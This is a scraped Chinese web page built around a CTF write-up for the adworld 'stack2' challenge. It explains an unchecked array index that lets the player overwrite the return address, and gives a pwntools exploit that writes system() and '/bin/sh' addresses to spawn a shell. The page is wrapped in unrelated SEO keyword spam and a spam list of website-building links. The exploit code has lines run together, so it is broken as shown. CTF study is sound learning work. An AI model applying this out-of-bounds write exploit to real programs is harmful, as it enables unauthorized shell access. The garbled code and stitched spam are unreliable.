当前位置: 首页 > news >正文

网站列表页怎么做内链可以直接进入的正能量网站

网站列表页怎么做内链,可以直接进入的正能量网站,网页设计如何在图片上添加文字,一个网站有多少gadworld - stack2 题目概述:给一个数组(自己控制数组大小和填入的数据),并进行(展示, 增加, 修改值, 求平均值, 退出)菜单选项 存在后门函数(system(“/bin/bash”)),但是没找到栈溢出的点 没判断数组的边界造成任意地址修改 但是如何准确…

adworld - stack2

题目概述:给一个数组(自己控制数组大小和填入的数据),并进行(展示, 增加, 修改值, 求平均值, 退出)菜单选项
存在后门函数(system(“/bin/bash”)),但是没找到栈溢出的点

没判断数组的边界造成任意地址修改

但是如何准确无误的填入返回地址?

-> 这就需要寻找数组的首位地址距离返回地址的距离了(就与栈溢出寻找栈大小一样)

思路:通过IDA中汇编确定地址 到GDB中 下断点动调确定大小

1.寻找数组首地址

在这里插入图片描述

汇编没什么基础,建议复制粘贴询问AI,逐行解释,慢慢学习+理解

我的理解:eax寄存器保存返回值(输入的v7变量保存在eax寄存器中) — 寻找有关eax的赋值语句 — 赋值给了ecx寄存器

080486D5 mov [eax], cl

在这里插入图片描述

下断点,运行,数组长度为1,输入65(0X41),ECX寄存器存放有0x41,且要将低8位赋值给EAX寄存器指向的内存中(数组)

EAX寄存器 0xffffc8d8

2.寻找函数结束的地址

在这里插入图片描述

上面有代码 return 0; 这部分就是函数结束的地方了

retn时esp指向的地址是返回地址

0xffffc95c

在这里插入图片描述

ESP寄存器内地址 0xffffc95c

>>> 0xffffc8d8 - 0xffffc95c
-132

Exp

# stack2 32位 NX保护,Canary
from pwn import *
context(os='linux', arch='i386', log_level='debug')
context.terminal = ['tmux', 'splitw', '-h']
# 有后门函数->寻找有没有栈溢出 -> 未检查数组边界, 造成任意地址修改
io = process('./stack2')
# io = remote("")
# 寻找参数距离返回地址的距离 0x84def send_num(addr, num):io.sendlineafter(b"5. exit\n", b"3")io.sendlineafter(b"which number to change:\n", str(addr))io.sendlineafter(b"new number:\n", str(num))# system_addr = 0x 08 04 84 50
# binsh_addr = 0x 08 04 89 87io.sendlineafter(b"How many numbers you have:\n", b"1")
io.sendlineafter(b"Give me your numbers\n", b"1")
# 直接从132位开始写 system_addr + return_addr + binsh
send_num(0x84, 0x50)
send_num(0x85, 0x84)
send_num(0x86, 0x04)
send_num(0x87, 0x08)
# 跳过中间四位的返回地址
send_num(0x8C, 0x87)
send_num(0x8D, 0x89)
send_num(0x8E, 0x04)
send_num(0x8F, 0x08)io.sendline(b"5")
io.interactive()

总结

  • 数组边界判断 — 访问任意内存地址
  • 汇编语言的了解
  • GDB动调

参考Wp

https://blog.csdn.net/ckk1314520/article/details/121070383

http://www.yayakq.cn/news/939000/

相关文章:

  • 如何自己建站网站制作三个年轻人做电影网站800万
  • wdcp备份的数据库网站文件在哪里建企业网站价格
  • 郑州网站建设套餐张店学校网站建设定制
  • 北京网站建设公司哪个最好网站建设方案书范文
  • 网站的seo方案四川营销型网站建设
  • 游戏门户网站开发资源电子商务网站设计实验报告
  • 网站流量到底怎样赚钱的东莞58同城招聘网
  • 天津做再生资源交易的网站企业管理咨询有限公司是干嘛的
  • wordpress做的网站吗python基础教程文档
  • 电脑网站 源码企业做网站的费用如果做账
  • 做电子商务网站建设工资多少软文推广
  • 图片网站模版中国建筑人才网app下载
  • 网站开发总结800字甜品店网站建设的目的
  • 网站建设盈利模式织梦网站多少钱
  • 电力网站建设方案安徽观元建设有限公司网站
  • 新氧整形网站开发模版小型企业类网站开发公司
  • 简书网站开发劳务派遣和外包一样吗
  • 义乌网站建站自己怎么做百度网站
  • 网站qq联系代码自己做网站好还是购买网站好
  • 阿里 网站备案核验单视频服务器
  • wordpress 英文 企业网站模板电商运营入门基础知识
  • 网站公司企业网站池州市建设厅官方网站
  • 网站开发技术是什么深圳福田做网站公司哪家好
  • 电子商务网站设计是什么做电子杂志的网站
  • 南宁高端网站建设西安做网站朋朋网络
  • 网站服务器是干什么的安卓市场下载官网
  • 青岛网站设计定制金华市建设技工学校教育培训网站
  • 黄石网站建设(乐云践新)中化山东公路建设集团网站
  • 在线营销型网站制作关键字优化软件
  • 宣传部总结网站建设网站建设的竞争力